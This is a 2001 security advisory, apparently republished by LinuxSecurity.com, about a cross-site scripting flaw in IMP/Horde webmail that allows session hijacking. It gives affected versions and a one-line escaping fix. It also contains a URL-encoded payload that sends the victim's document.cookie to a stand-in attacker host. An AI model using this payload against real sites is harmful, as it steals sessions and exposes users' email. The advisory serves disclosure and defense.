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Imp Webmail Advisory: Session Hijacking Exploit Threatens Security

Joao Pedro reports that "It's possible to hijack an imp/horde session using a cross-site script attack, quite similar to the one explored by Marc Slemko in his "Microsoft Passport to Trouble" paper.". . .. Joao Pedro reports that "It's possible to hijack an imp/horde session using a cross-site script attack, quite similar to the one explored by Marc Slemko in his "Microsoft Passport to Trouble" paper." - After hijacking the cookies, the attacker can use the session and read the victim's mail. - Imp webmail is part of the Horde Application Framework, at https://www.horde.org/ , which allows web access to an email account, through pop3 or imap. - Imp is included in the Linux Madrake, Conectiva Distributions. It's also available in the Red Hat PowerTools. - It's used in several webmail sites, some of which with hundreds of thousand of users, and all of the ones tested were vulnerable. Some of the administrators were warned before this advisory being public. Some have already been patched. - All stable imp webmail versions, up to 2.2.6 including are vulnerable, the devel version, 2.3 and 3.0 Release Candidate 1 are not affected by this vulnerability. - The horde team was warned about this and have commited a fix, a new version should be uploaded soon. - To apply the patch use https://dev.horde.org/horde/login.php or just escape the $message variable $message = htmlspecialchars($message); if your imp installation is already heavily customized. - To exploit this vulnerability using a text message, the attacker sends an email with a url, where if the user clicks, is redirected to %3E%20document.write(%27%3Cimg%20src%3Dhttp%3A%2F%2Fattackerhost.co m%2Fcookie.cgi%3Fcookie%3D%27%20%2B%20escape(document.cookie)%2B% 20%27%3E%27)%3B%3C%2Fscript%3E%0A which in return redirects the user's browser to the attacker's server where he hijacks the cookies that the browser used in the context of the webmail site, and the session therefore. This attack isjust one more example on how trusting user input is a Bad Thing(tm), as well as the risks inherent to cross-site script attacks. Please, pretty please, this was discovered while playing around with cookie-based session sites, after reading about the MS Wallet attack and saw how almost 2 years after the CERT advisory on these techniques, lots of applications are still vulnerable. There are probably lots of kids around exploiting similar vulnerabilities. So check your web applications for similar vulnerabilities and ask yourself how many times have you pasted directly into the html some variable passed by the url or cookie. - For more info on cross-site scripting, read CERT advisory and Marc Slemko's paper. Imp Project homepage: https://www.horde.org/apps/imp/ Marc Slemko's "Microsoft Passport to Trouble": CERT advisory on cross-site scripting https://www.sei.cmu.edu/library/2000-cert-advisories/ João Pedro Gonçalves This email address is being protected from spambots. You need JavaScript enabled to view it. Phibernet Information Network . Joao Pedro reports that 'It's possible to hijack an imp/horde session using a cross-site script atta. pedro, reports, 'it's, possible, hijack, imp/horde, session, using, cross-site, script. . LinuxSecurity.com Team

Nov 12, 2001 • LinuxSecurity.com Team Server Security